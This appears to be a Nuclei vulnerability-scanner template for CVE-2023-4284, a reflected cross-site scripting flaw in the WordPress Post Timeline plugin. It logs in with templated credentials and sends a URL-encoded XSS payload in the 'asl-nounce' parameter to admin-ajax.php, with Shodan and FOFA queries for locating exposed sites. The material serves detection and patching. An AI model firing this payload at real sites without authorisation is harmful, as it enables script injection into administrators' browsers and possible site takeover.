CVE-2023-4284: WordPress Post Timeline Plugin < 2.2.6 - Cross-Site Scripting

id: CVE-2023-4284

info:
  name: WordPress Post Timeline Plugin < 2.2.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The Post Timeline WordPress plugin before version 2.2.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape an invalid nonce before outputting it back in an AJAX response, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  impact: |
    Authenticated attackers can inject malicious JavaScript through an invalid nonce parameter in AJAX responses to execute code in administrator browsers and potentially hijack WordPress sites.
  remediation: |
    Update Post Timeline plugin to version 2.2.6 or later that properly sanitizes and escapes the nonce parameter in AJAX responses.
  reference:
    - https://wpscan.com/vulnerability/1c126869-0afa-456f-94cc-10334964e5f9
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2023-4284
    cwe-id: CWE-79
    epss-score: 0.00759
    epss-percentile: 0.53502
    cpe: cpe:2.3:a:agilelogix:post_timeline:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: agilelogix
    product: post-timeline
    shodan-query: http.html:"wp-content/plugins/post-timeline/"
    fofa-query: body="wp-content/plugins/post-timeline/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,post-timeline,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'post-timeline'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=ptl_ajax_handler&asl-nounce=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src onerror=alert(document.domain)'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220160cd534eec8fade69dffb6edfb590312abbc22bd6a6d146d0c31584d7ad8e06022100f6ec5edd9031a5a3d16db87316dc58bc0b1da055ea3a6fcecdb079fef5f0c58c:922c64590222798bb761d5b6d8e72950

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